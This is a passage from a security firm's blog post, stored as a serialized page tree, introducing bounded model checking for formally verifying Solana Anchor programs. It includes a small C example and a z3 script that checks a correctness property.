[{"data":1,"prerenderedAt":172267},["ShallowReactive",2],{"blog-/blog/2023-01-26-formally-verifying-solana-programs":3,"featured-blog-posts":10487},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":10,"image":11,"date":15,"isFeatured":16,"onBlogPage":16,"tags":17,"body":20,"_type":10481,"_id":10482,"_source":10483,"_file":10484,"_stem":10485,"_extension":10486},"/blog/2023-01-26-formally-verifying-solana-programs","blog",false,"","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":12,"height":13,"width":14},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg",512,1024,"2023-01-26",true,[18,19],"solana","report",{"type":21,"children":22,"toc":10453},"root",[23,31,36,67,71,83,106,129,141,164,167,174,227,234,241,246,257,300,305,311,316,593,613,618,623,697,702,772,786,1226,1246,1252,1271,1276,1281,1286,1292,1304,1340,1351,1362,1374,1379,1412,1436,1455,1461,1478,1484,1512,1517,1537,1549,1705,1735,1738,1750,1833,1853,1856,1895,2066,2071,2077,2089,2109,2122,2287,2299,2312,2797,2802,2849,2855,2873,2943,3205,3420,3425,3500,3548,3553,3559,3661,3768,3773,3836,3841,3847,3912,3917,3959,3985,3991,4060,4065,4115,4126,4132,4143,4164,4169,4174,4197,4203,4215,4235,5375,5394,5445,5450,5458,5470,5475,5483,5488,5504,5542,5547,5641,5646,5654,5659,5771,5776,5784,5797,5962,5967,5975,5980,5985,6055,6089,6095,6100,6112,6130,6508,6520,6532,6540,6551,6582,6587,6595,6600,6876,6895,6900,6926,7800,7812,7911,7923,7965,7970,7982,7990,7995,8007,8033,8193,8205,8213,8218,8494,8499,8511,8666,8686,9017,9051,9249,9282,9294,9416,9436,9441,9446,9451,9464,9472,9477,9957,9969,9974,9986,9991,10251,10277,10282,10288,10294,10306,10318,10337,10384,10389,10395,10400,10405,10410,10415,10420,10425,10428,10447],{"type":24,"tag":25,"props":26,"children":27},"element","p",{},[28],{"type":29,"value":30},"text","Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":24,"tag":25,"props":32,"children":33},{},[34],{"type":29,"value":35},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":24,"tag":25,"props":37,"children":38},{},[39,41,47,49,54,56,65],{"type":29,"value":40},"In the world of Web3 we create programs that talk to strangers ",{"type":24,"tag":42,"props":43,"children":44},"em",{},[45],{"type":29,"value":46},"and",{"type":29,"value":48}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":24,"tag":42,"props":50,"children":51},{},[52],{"type":29,"value":53},"juciest",{"type":29,"value":55},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":24,"tag":57,"props":58,"children":62},"a",{"href":59,"rel":60},"https://rekt.news/leaderboard/",[61],"nofollow",[63],{"type":29,"value":64},"hundreds of millions of dollars",{"type":29,"value":66},".",{"type":24,"tag":68,"props":69,"children":70},"hr",{},[],{"type":24,"tag":25,"props":72,"children":73},{},[74,76,81],{"type":29,"value":75},"At OtterSec we are ",{"type":24,"tag":42,"props":77,"children":78},{},[79],{"type":29,"value":80},"highly skilled in pest control",{"type":29,"value":82}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":24,"tag":25,"props":84,"children":85},{},[86,88,95,97,104],{"type":29,"value":87},"Recently we were contacted by the ",{"type":24,"tag":57,"props":89,"children":92},{"href":90,"rel":91},"https://squads.so/",[61],[93],{"type":29,"value":94},"Squads team",{"type":29,"value":96}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":24,"tag":57,"props":98,"children":101},{"href":99,"rel":100},"https://github.com/Squads-Protocol/squads-mpl",[61],[102],{"type":29,"value":103},"Squads Multisig Program",{"type":29,"value":105}," as our main case study.",{"type":24,"tag":25,"props":107,"children":108},{},[109,111,118,120,127],{"type":29,"value":110},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":24,"tag":57,"props":112,"children":115},{"href":113,"rel":114},"https://www.anchor-lang.com/",[61],[116],{"type":29,"value":117},"anchor-lang",{"type":29,"value":119}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":24,"tag":57,"props":121,"children":124},{"href":122,"rel":123},"https://github.com/model-checking/kani",[61],[125],{"type":29,"value":126},"Kani Rust Verifier",{"type":29,"value":128},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":24,"tag":25,"props":130,"children":131},{},[132,134,139],{"type":29,"value":133},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":24,"tag":42,"props":135,"children":136},{},[137],{"type":29,"value":138},"bounded model checking",{"type":29,"value":140}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":24,"tag":25,"props":142,"children":143},{},[144],{"type":24,"tag":42,"props":145,"children":146},{},[147,149,156,158],{"type":29,"value":148},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":24,"tag":57,"props":150,"children":153},{"href":151,"rel":152},"https://osec.io/contact",[61],[154],{"type":29,"value":155},"this form",{"type":29,"value":157}," or email us at ",{"type":24,"tag":57,"props":159,"children":161},{"href":160},"mailto:contact@osec.io",[162],{"type":29,"value":163},"contact@osec.io",{"type":24,"tag":68,"props":165,"children":166},{},[],{"type":24,"tag":168,"props":169,"children":171},"h4",{"id":170},"contents",[172],{"type":29,"value":173},"Contents:",{"type":24,"tag":175,"props":176,"children":177},"ol",{},[178,184,202,212,217,222],{"type":24,"tag":179,"props":180,"children":181},"li",{},[182],{"type":29,"value":183},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":24,"tag":179,"props":185,"children":186},{},[187,193,195,200],{"type":24,"tag":188,"props":189,"children":190},"strong",{},[191],{"type":29,"value":192},"Specification",{"type":29,"value":194},": How can we describe what we ",{"type":24,"tag":42,"props":196,"children":197},{},[198],{"type":29,"value":199},"want",{"type":29,"value":201}," our program to do?",{"type":24,"tag":179,"props":203,"children":204},{},[205,210],{"type":24,"tag":188,"props":206,"children":207},{},[208],{"type":29,"value":209},"Verification",{"type":29,"value":211},": How do we check that our model is correct?",{"type":24,"tag":179,"props":213,"children":214},{},[215],{"type":29,"value":216},"Case Study: Squads Multisig",{"type":24,"tag":179,"props":218,"children":219},{},[220],{"type":29,"value":221},"Additional challenges in Solana",{"type":24,"tag":179,"props":223,"children":224},{},[225],{"type":29,"value":226},"Conclusion",{"type":24,"tag":228,"props":229,"children":231},"h2",{"id":230},"formal-verification-with-bounded-model-checking",[232],{"type":29,"value":233},"Formal Verification with Bounded Model Checking",{"type":24,"tag":235,"props":236,"children":238},"h3",{"id":237},"overview",[239],{"type":29,"value":240},"Overview",{"type":24,"tag":25,"props":242,"children":243},{},[244],{"type":29,"value":245},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":24,"tag":25,"props":247,"children":248},{},[249,251,256],{"type":29,"value":250},"There are many different flavors of formal verification, however in this research we are using ",{"type":24,"tag":188,"props":252,"children":253},{},[254],{"type":29,"value":255},"bounded model checking (BMC)",{"type":29,"value":66},{"type":24,"tag":25,"props":258,"children":259},{},[260,262,267,269,274,276,281,283,290,292,298],{"type":29,"value":261},"In short, the idea of BMC is to execute our program ",{"type":24,"tag":42,"props":263,"children":264},{},[265],{"type":29,"value":266},"symbolically",{"type":29,"value":268}," rather than ",{"type":24,"tag":42,"props":270,"children":271},{},[272],{"type":29,"value":273},"concretely",{"type":29,"value":275},". Instead of actually performing an ",{"type":24,"tag":42,"props":277,"children":278},{},[279],{"type":29,"value":280},"add",{"type":29,"value":282}," when we see the line ",{"type":24,"tag":284,"props":285,"children":287},"code",{"className":286},[],[288],{"type":29,"value":289},"int x = a + b",{"type":29,"value":291},", we store the symbolic expression ",{"type":24,"tag":284,"props":293,"children":295},{"className":294},[],[296],{"type":29,"value":297},"x == a + b",{"type":29,"value":299},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":24,"tag":25,"props":301,"children":302},{},[303],{"type":29,"value":304},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":24,"tag":235,"props":306,"children":308},{"id":307},"a-simple-example",[309],{"type":29,"value":310},"A simple example",{"type":24,"tag":25,"props":312,"children":313},{},[314],{"type":29,"value":315},"As an example, consider the following function:",{"type":24,"tag":317,"props":318,"children":322},"pre",{"code":319,"language":320,"meta":7,"className":321,"style":7},"int foo(int x) {\n    int y = x + 3;\n    int z;\n    if (y > 100) {\n        z = y * 2;\n    } else {\n        z = y + 1;\n    }\n\n    // Property P:\n    assert(z != 105);\n}\n","c","language-c shiki shiki-themes slack-dark",[323],{"type":24,"tag":284,"props":324,"children":325},{"__ignoreMap":7},[326,365,406,419,448,479,498,527,536,545,555,584],{"type":24,"tag":327,"props":328,"children":331},"span",{"class":329,"line":330},"line",1,[332,338,344,350,354,360],{"type":24,"tag":327,"props":333,"children":335},{"style":334},"--shiki-default:#569CD6",[336],{"type":29,"value":337},"int",{"type":24,"tag":327,"props":339,"children":341},{"style":340},"--shiki-default:#DCDCAA",[342],{"type":29,"value":343}," foo",{"type":24,"tag":327,"props":345,"children":347},{"style":346},"--shiki-default:#E6E6E6",[348],{"type":29,"value":349},"(",{"type":24,"tag":327,"props":351,"children":352},{"style":334},[353],{"type":29,"value":337},{"type":24,"tag":327,"props":355,"children":357},{"style":356},"--shiki-default:#9CDCFE",[358],{"type":29,"value":359}," x",{"type":24,"tag":327,"props":361,"children":362},{"style":346},[363],{"type":29,"value":364},") {\n",{"type":24,"tag":327,"props":366,"children":368},{"class":329,"line":367},2,[369,374,379,385,390,395,401],{"type":24,"tag":327,"props":370,"children":371},{"style":334},[372],{"type":29,"value":373},"    int",{"type":24,"tag":327,"props":375,"children":376},{"style":346},[377],{"type":29,"value":378}," y ",{"type":24,"tag":327,"props":380,"children":382},{"style":381},"--shiki-default:#D4D4D4",[383],{"type":29,"value":384},"=",{"type":24,"tag":327,"props":386,"children":387},{"style":346},[388],{"type":29,"value":389}," x ",{"type":24,"tag":327,"props":391,"children":392},{"style":381},[393],{"type":29,"value":394},"+",{"type":24,"tag":327,"props":396,"children":398},{"style":397},"--shiki-default:#B5CEA8",[399],{"type":29,"value":400}," 3",{"type":24,"tag":327,"props":402,"children":403},{"style":346},[404],{"type":29,"value":405},";\n",{"type":24,"tag":327,"props":407,"children":409},{"class":329,"line":408},3,[410,414],{"type":24,"tag":327,"props":411,"children":412},{"style":334},[413],{"type":29,"value":373},{"type":24,"tag":327,"props":415,"children":416},{"style":346},[417],{"type":29,"value":418}," z;\n",{"type":24,"tag":327,"props":420,"children":422},{"class":329,"line":421},4,[423,429,434,439,444],{"type":24,"tag":327,"props":424,"children":426},{"style":425},"--shiki-default:#C586C0",[427],{"type":29,"value":428},"    if",{"type":24,"tag":327,"props":430,"children":431},{"style":346},[432],{"type":29,"value":433}," (y ",{"type":24,"tag":327,"props":435,"children":436},{"style":381},[437],{"type":29,"value":438},">",{"type":24,"tag":327,"props":440,"children":441},{"style":397},[442],{"type":29,"value":443}," 100",{"type":24,"tag":327,"props":445,"children":446},{"style":346},[447],{"type":29,"value":364},{"type":24,"tag":327,"props":449,"children":451},{"class":329,"line":450},5,[452,457,461,465,470,475],{"type":24,"tag":327,"props":453,"children":454},{"style":346},[455],{"type":29,"value":456},"        z ",{"type":24,"tag":327,"props":458,"children":459},{"style":381},[460],{"type":29,"value":384},{"type":24,"tag":327,"props":462,"children":463},{"style":346},[464],{"type":29,"value":378},{"type":24,"tag":327,"props":466,"children":467},{"style":381},[468],{"type":29,"value":469},"*",{"type":24,"tag":327,"props":471,"children":472},{"style":397},[473],{"type":29,"value":474}," 2",{"type":24,"tag":327,"props":476,"children":477},{"style":346},[478],{"type":29,"value":405},{"type":24,"tag":327,"props":480,"children":482},{"class":329,"line":481},6,[483,488,493],{"type":24,"tag":327,"props":484,"children":485},{"style":346},[486],{"type":29,"value":487},"    } ",{"type":24,"tag":327,"props":489,"children":490},{"style":425},[491],{"type":29,"value":492},"else",{"type":24,"tag":327,"props":494,"children":495},{"style":346},[496],{"type":29,"value":497}," {\n",{"type":24,"tag":327,"props":499,"children":501},{"class":329,"line":500},7,[502,506,510,514,518,523],{"type":24,"tag":327,"props":503,"children":504},{"style":346},[505],{"type":29,"value":456},{"type":24,"tag":327,"props":507,"children":508},{"style":381},[509],{"type":29,"value":384},{"type":24,"tag":327,"props":511,"children":512},{"style":346},[513],{"type":29,"value":378},{"type":24,"tag":327,"props":515,"children":516},{"style":381},[517],{"type":29,"value":394},{"type":24,"tag":327,"props":519,"children":520},{"style":397},[521],{"type":29,"value":522}," 1",{"type":24,"tag":327,"props":524,"children":525},{"style":346},[526],{"type":29,"value":405},{"type":24,"tag":327,"props":528,"children":530},{"class":329,"line":529},8,[531],{"type":24,"tag":327,"props":532,"children":533},{"style":346},[534],{"type":29,"value":535},"    }\n",{"type":24,"tag":327,"props":537,"children":539},{"class":329,"line":538},9,[540],{"type":24,"tag":327,"props":541,"children":542},{"emptyLinePlaceholder":16},[543],{"type":29,"value":544},"\n",{"type":24,"tag":327,"props":546,"children":548},{"class":329,"line":547},10,[549],{"type":24,"tag":327,"props":550,"children":552},{"style":551},"--shiki-default:#6A9955",[553],{"type":29,"value":554},"    // Property P:\n",{"type":24,"tag":327,"props":556,"children":558},{"class":329,"line":557},11,[559,564,569,574,579],{"type":24,"tag":327,"props":560,"children":561},{"style":340},[562],{"type":29,"value":563},"    assert",{"type":24,"tag":327,"props":565,"children":566},{"style":346},[567],{"type":29,"value":568},"(z ",{"type":24,"tag":327,"props":570,"children":571},{"style":381},[572],{"type":29,"value":573},"!=",{"type":24,"tag":327,"props":575,"children":576},{"style":397},[577],{"type":29,"value":578}," 105",{"type":24,"tag":327,"props":580,"children":581},{"style":346},[582],{"type":29,"value":583},");\n",{"type":24,"tag":327,"props":585,"children":587},{"class":329,"line":586},12,[588],{"type":24,"tag":327,"props":589,"children":590},{"style":346},[591],{"type":29,"value":592},"}\n",{"type":24,"tag":25,"props":594,"children":595},{},[596,598,604,606,612],{"type":29,"value":597},"This function takes an input ",{"type":24,"tag":284,"props":599,"children":601},{"className":600},[],[602],{"type":29,"value":603},"x",{"type":29,"value":605}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":24,"tag":284,"props":607,"children":609},{"className":608},[],[610],{"type":29,"value":611},"z != 105",{"type":29,"value":66},{"type":24,"tag":25,"props":614,"children":615},{},[616],{"type":29,"value":617},"With BMC, we could trace this program and derive the following constraints:",{"type":24,"tag":25,"props":619,"children":620},{},[621],{"type":29,"value":622},"Positive branch:",{"type":24,"tag":317,"props":624,"children":626},{"code":625,"language":320,"meta":7,"className":321,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[627],{"type":24,"tag":284,"props":628,"children":629},{"__ignoreMap":7},[630,656,672],{"type":24,"tag":327,"props":631,"children":632},{"class":329,"line":330},[633,638,643,647,651],{"type":24,"tag":327,"props":634,"children":635},{"style":346},[636],{"type":29,"value":637},"y ",{"type":24,"tag":327,"props":639,"children":640},{"style":381},[641],{"type":29,"value":642},"==",{"type":24,"tag":327,"props":644,"children":645},{"style":346},[646],{"type":29,"value":389},{"type":24,"tag":327,"props":648,"children":649},{"style":381},[650],{"type":29,"value":394},{"type":24,"tag":327,"props":652,"children":653},{"style":397},[654],{"type":29,"value":655}," 3\n",{"type":24,"tag":327,"props":657,"children":658},{"class":329,"line":367},[659,663,667],{"type":24,"tag":327,"props":660,"children":661},{"style":346},[662],{"type":29,"value":637},{"type":24,"tag":327,"props":664,"children":665},{"style":381},[666],{"type":29,"value":438},{"type":24,"tag":327,"props":668,"children":669},{"style":397},[670],{"type":29,"value":671}," 100\n",{"type":24,"tag":327,"props":673,"children":674},{"class":329,"line":408},[675,680,684,688,692],{"type":24,"tag":327,"props":676,"children":677},{"style":346},[678],{"type":29,"value":679},"z ",{"type":24,"tag":327,"props":681,"children":682},{"style":381},[683],{"type":29,"value":642},{"type":24,"tag":327,"props":685,"children":686},{"style":346},[687],{"type":29,"value":378},{"type":24,"tag":327,"props":689,"children":690},{"style":381},[691],{"type":29,"value":469},{"type":24,"tag":327,"props":693,"children":694},{"style":397},[695],{"type":29,"value":696}," 2\n",{"type":24,"tag":25,"props":698,"children":699},{},[700],{"type":29,"value":701},"Negative branch:",{"type":24,"tag":317,"props":703,"children":705},{"code":704,"language":320,"meta":7,"className":321,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[706],{"type":24,"tag":284,"props":707,"children":708},{"__ignoreMap":7},[709,732,748],{"type":24,"tag":327,"props":710,"children":711},{"class":329,"line":330},[712,716,720,724,728],{"type":24,"tag":327,"props":713,"children":714},{"style":346},[715],{"type":29,"value":637},{"type":24,"tag":327,"props":717,"children":718},{"style":381},[719],{"type":29,"value":642},{"type":24,"tag":327,"props":721,"children":722},{"style":346},[723],{"type":29,"value":389},{"type":24,"tag":327,"props":725,"children":726},{"style":381},[727],{"type":29,"value":394},{"type":24,"tag":327,"props":729,"children":730},{"style":397},[731],{"type":29,"value":655},{"type":24,"tag":327,"props":733,"children":734},{"class":329,"line":367},[735,739,744],{"type":24,"tag":327,"props":736,"children":737},{"style":346},[738],{"type":29,"value":637},{"type":24,"tag":327,"props":740,"children":741},{"style":381},[742],{"type":29,"value":743},"\u003C=",{"type":24,"tag":327,"props":745,"children":746},{"style":397},[747],{"type":29,"value":671},{"type":24,"tag":327,"props":749,"children":750},{"class":329,"line":408},[751,755,759,763,767],{"type":24,"tag":327,"props":752,"children":753},{"style":346},[754],{"type":29,"value":679},{"type":24,"tag":327,"props":756,"children":757},{"style":381},[758],{"type":29,"value":642},{"type":24,"tag":327,"props":760,"children":761},{"style":346},[762],{"type":29,"value":378},{"type":24,"tag":327,"props":764,"children":765},{"style":381},[766],{"type":29,"value":394},{"type":24,"tag":327,"props":768,"children":769},{"style":397},[770],{"type":29,"value":771}," 1\n",{"type":24,"tag":25,"props":773,"children":774},{},[775,777,784],{"type":29,"value":776},"Using the ",{"type":24,"tag":57,"props":778,"children":781},{"href":779,"rel":780},"https://github.com/Z3Prover/z3",[61],[782],{"type":29,"value":783},"z3",{"type":29,"value":785}," SMT solver, we could check both of these cases like so:",{"type":24,"tag":317,"props":787,"children":791},{"code":788,"language":789,"meta":7,"className":790,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[792],{"type":24,"tag":284,"props":793,"children":794},{"__ignoreMap":7},[795,818,825,853,877,901,908,916,933,961,980,1008,1015,1024,1046,1065,1073,1082,1098,1126,1146,1174,1182,1190,1210],{"type":24,"tag":327,"props":796,"children":797},{"class":329,"line":330},[798,803,808,813],{"type":24,"tag":327,"props":799,"children":800},{"style":425},[801],{"type":29,"value":802},"from",{"type":24,"tag":327,"props":804,"children":805},{"style":346},[806],{"type":29,"value":807}," z3 ",{"type":24,"tag":327,"props":809,"children":810},{"style":425},[811],{"type":29,"value":812},"import",{"type":24,"tag":327,"props":814,"children":815},{"style":381},[816],{"type":29,"value":817}," *\n",{"type":24,"tag":327,"props":819,"children":820},{"class":329,"line":367},[821],{"type":24,"tag":327,"props":822,"children":823},{"emptyLinePlaceholder":16},[824],{"type":29,"value":544},{"type":24,"tag":327,"props":826,"children":827},{"class":329,"line":408},[828,833,837,842,848],{"type":24,"tag":327,"props":829,"children":830},{"style":346},[831],{"type":29,"value":832},"x ",{"type":24,"tag":327,"props":834,"children":835},{"style":381},[836],{"type":29,"value":384},{"type":24,"tag":327,"props":838,"children":839},{"style":346},[840],{"type":29,"value":841}," Int(",{"type":24,"tag":327,"props":843,"children":845},{"style":844},"--shiki-default:#CE9178",[846],{"type":29,"value":847},"'x'",{"type":24,"tag":327,"props":849,"children":850},{"style":346},[851],{"type":29,"value":852},")\n",{"type":24,"tag":327,"props":854,"children":855},{"class":329,"line":421},[856,860,864,868,873],{"type":24,"tag":327,"props":857,"children":858},{"style":346},[859],{"type":29,"value":637},{"type":24,"tag":327,"props":861,"children":862},{"style":381},[863],{"type":29,"value":384},{"type":24,"tag":327,"props":865,"children":866},{"style":346},[867],{"type":29,"value":841},{"type":24,"tag":327,"props":869,"children":870},{"style":844},[871],{"type":29,"value":872},"'y'",{"type":24,"tag":327,"props":874,"children":875},{"style":346},[876],{"type":29,"value":852},{"type":24,"tag":327,"props":878,"children":879},{"class":329,"line":450},[880,884,888,892,897],{"type":24,"tag":327,"props":881,"children":882},{"style":346},[883],{"type":29,"value":679},{"type":24,"tag":327,"props":885,"children":886},{"style":381},[887],{"type":29,"value":384},{"type":24,"tag":327,"props":889,"children":890},{"style":346},[891],{"type":29,"value":841},{"type":24,"tag":327,"props":893,"children":894},{"style":844},[895],{"type":29,"value":896},"'z'",{"type":24,"tag":327,"props":898,"children":899},{"style":346},[900],{"type":29,"value":852},{"type":24,"tag":327,"props":902,"children":903},{"class":329,"line":481},[904],{"type":24,"tag":327,"props":905,"children":906},{"emptyLinePlaceholder":16},[907],{"type":29,"value":544},{"type":24,"tag":327,"props":909,"children":910},{"class":329,"line":500},[911],{"type":24,"tag":327,"props":912,"children":913},{"style":551},[914],{"type":29,"value":915},"# Positive branch:\n",{"type":24,"tag":327,"props":917,"children":918},{"class":329,"line":529},[919,924,928],{"type":24,"tag":327,"props":920,"children":921},{"style":346},[922],{"type":29,"value":923},"s ",{"type":24,"tag":327,"props":925,"children":926},{"style":381},[927],{"type":29,"value":384},{"type":24,"tag":327,"props":929,"children":930},{"style":346},[931],{"type":29,"value":932}," Solver()\n",{"type":24,"tag":327,"props":934,"children":935},{"class":329,"line":538},[936,941,945,949,953,957],{"type":24,"tag":327,"props":937,"children":938},{"style":346},[939],{"type":29,"value":940},"s.add(y ",{"type":24,"tag":327,"props":942,"children":943},{"style":381},[944],{"type":29,"value":642},{"type":24,"tag":327,"props":946,"children":947},{"style":346},[948],{"type":29,"value":389},{"type":24,"tag":327,"props":950,"children":951},{"style":381},[952],{"type":29,"value":394},{"type":24,"tag":327,"props":954,"children":955},{"style":397},[956],{"type":29,"value":400},{"type":24,"tag":327,"props":958,"children":959},{"style":346},[960],{"type":29,"value":852},{"type":24,"tag":327,"props":962,"children":963},{"class":329,"line":547},[964,968,972,976],{"type":24,"tag":327,"props":965,"children":966},{"style":346},[967],{"type":29,"value":940},{"type":24,"tag":327,"props":969,"children":970},{"style":381},[971],{"type":29,"value":438},{"type":24,"tag":327,"props":973,"children":974},{"style":397},[975],{"type":29,"value":443},{"type":24,"tag":327,"props":977,"children":978},{"style":346},[979],{"type":29,"value":852},{"type":24,"tag":327,"props":981,"children":982},{"class":329,"line":557},[983,988,992,996,1000,1004],{"type":24,"tag":327,"props":984,"children":985},{"style":346},[986],{"type":29,"value":987},"s.add(z ",{"type":24,"tag":327,"props":989,"children":990},{"style":381},[991],{"type":29,"value":642},{"type":24,"tag":327,"props":993,"children":994},{"style":346},[995],{"type":29,"value":378},{"type":24,"tag":327,"props":997,"children":998},{"style":381},[999],{"type":29,"value":469},{"type":24,"tag":327,"props":1001,"children":1002},{"style":397},[1003],{"type":29,"value":474},{"type":24,"tag":327,"props":1005,"children":1006},{"style":346},[1007],{"type":29,"value":852},{"type":24,"tag":327,"props":1009,"children":1010},{"class":329,"line":586},[1011],{"type":24,"tag":327,"props":1012,"children":1013},{"emptyLinePlaceholder":16},[1014],{"type":29,"value":544},{"type":24,"tag":327,"props":1016,"children":1018},{"class":329,"line":1017},13,[1019],{"type":24,"tag":327,"props":1020,"children":1021},{"style":551},[1022],{"type":29,"value":1023},"# check if we can violate the correctness property\n",{"type":24,"tag":327,"props":1025,"children":1027},{"class":329,"line":1026},14,[1028,1033,1037,1041],{"type":24,"tag":327,"props":1029,"children":1030},{"style":346},[1031],{"type":29,"value":1032},"s.add(Not(z ",{"type":24,"tag":327,"props":1034,"children":1035},{"style":381},[1036],{"type":29,"value":573},{"type":24,"tag":327,"props":1038,"children":1039},{"style":397},[1040],{"type":29,"value":578},{"type":24,"tag":327,"props":1042,"children":1043},{"style":346},[1044],{"type":29,"value":1045},"))\n",{"type":24,"tag":327,"props":1047,"children":1049},{"class":329,"line":1048},15,[1050,1055,1060],{"type":24,"tag":327,"props":1051,"children":1052},{"style":340},[1053],{"type":29,"value":1054},"print",{"type":24,"tag":327,"props":1056,"children":1057},{"style":346},[1058],{"type":29,"value":1059},"(s.check()) ",{"type":24,"tag":327,"props":1061,"children":1062},{"style":551},[1063],{"type":29,"value":1064},"# \"unsat\"\n",{"type":24,"tag":327,"props":1066,"children":1068},{"class":329,"line":1067},16,[1069],{"type":24,"tag":327,"props":1070,"children":1071},{"emptyLinePlaceholder":16},[1072],{"type":29,"value":544},{"type":24,"tag":327,"props":1074,"children":1076},{"class":329,"line":1075},17,[1077],{"type":24,"tag":327,"props":1078,"children":1079},{"style":551},[1080],{"type":29,"value":1081},"# Negative branch:\n",{"type":24,"tag":327,"props":1083,"children":1085},{"class":329,"line":1084},18,[1086,1090,1094],{"type":24,"tag":327,"props":1087,"children":1088},{"style":346},[1089],{"type":29,"value":923},{"type":24,"tag":327,"props":1091,"children":1092},{"style":381},[1093],{"type":29,"value":384},{"type":24,"tag":327,"props":1095,"children":1096},{"style":346},[1097],{"type":29,"value":932},{"type":24,"tag":327,"props":1099,"children":1101},{"class":329,"line":1100},19,[1102,1106,1110,1114,1118,1122],{"type":24,"tag":327,"props":1103,"children":1104},{"style":346},[1105],{"type":29,"value":940},{"type":24,"tag":327,"props":1107,"children":1108},{"style":381},[1109],{"type":29,"value":642},{"type":24,"tag":327,"props":1111,"children":1112},{"style":346},[1113],{"type":29,"value":389},{"type":24,"tag":327,"props":1115,"children":1116},{"style":381},[1117],{"type":29,"value":394},{"type":24,"tag":327,"props":1119,"children":1120},{"style":397},[1121],{"type":29,"value":400},{"type":24,"tag":327,"props":1123,"children":1124},{"style":346},[1125],{"type":29,"value":852},{"type":24,"tag":327,"props":1127,"children":1129},{"class":329,"line":1128},20,[1130,1134,1138,1142],{"type":24,"tag":327,"props":1131,"children":1132},{"style":346},[1133],{"type":29,"value":940},{"type":24,"tag":327,"props":1135,"children":1136},{"style":381},[1137],{"type":29,"value":743},{"type":24,"tag":327,"props":1139,"children":1140},{"style":397},[1141],{"type":29,"value":443},{"type":24,"tag":327,"props":1143,"children":1144},{"style":346},[1145],{"type":29,"value":852},{"type":24,"tag":327,"props":1147,"children":1149},{"class":329,"line":1148},21,[1150,1154,1158,1162,1166,1170],{"type":24,"tag":327,"props":1151,"children":1152},{"style":346},[1153],{"type":29,"value":987},{"type":24,"tag":327,"props":1155,"children":1156},{"style":381},[1157],{"type":29,"value":642},{"type":24,"tag":327,"props":1159,"children":1160},{"style":346},[1161],{"type":29,"value":378},{"type":24,"tag":327,"props":1163,"children":1164},{"style":381},[1165],{"type":29,"value":394},{"type":24,"tag":327,"props":1167,"children":1168},{"style":397},[1169],{"type":29,"value":522},{"type":24,"tag":327,"props":1171,"children":1172},{"style":346},[1173],{"type":29,"value":852},{"type":24,"tag":327,"props":1175,"children":1177},{"class":329,"line":1176},22,[1178],{"type":24,"tag":327,"props":1179,"children":1180},{"emptyLinePlaceholder":16},[1181],{"type":29,"value":544},{"type":24,"tag":327,"props":1183,"children":1185},{"class":329,"line":1184},23,[1186],{"type":24,"tag":327,"props":1187,"children":1188},{"style":551},[1189],{"type":29,"value":1023},{"type":24,"tag":327,"props":1191,"children":1193},{"class":329,"line":1192},24,[1194,1198,1202,1206],{"type":24,"tag":327,"props":1195,"children":1196},{"style":346},[1197],{"type":29,"value":1032},{"type":24,"tag":327,"props":1199,"children":1200},{"style":381},[1201],{"type":29,"value":573},{"type":24,"tag":327,"props":1203,"children":1204},{"style":397},[1205],{"type":29,"value":578},{"type":24,"tag":327,"props":1207,"children":1208},{"style":346},[1209],{"type":29,"value":1045},{"type":24,"tag":327,"props":1211,"children":1213},{"class":329,"line":1212},25,[1214,1218,1222],{"type":24,"tag":327,"props":1215,"children":1216},{"style":340},[1217],{"type":29,"value":1054},{"type":24,"tag":327,"props":1219,"children":1220},{"style":346},[1221],{"type":29,"value":1059},{"type":24,"tag":327,"props":1223,"children":1224},{"style":551},[1225],{"type":29,"value":1064},{"type":24,"tag":25,"props":1227,"children":1228},{},[1229,1231,1237,1239,1244],{"type":29,"value":1230},"Both of these cases return ",{"type":24,"tag":284,"props":1232,"children":1234},{"className":1233},[],[1235],{"type":29,"value":1236},"unsat",{"type":29,"value":1238}," meaning z3 could not find a way to violate the correctness property, hence our program is 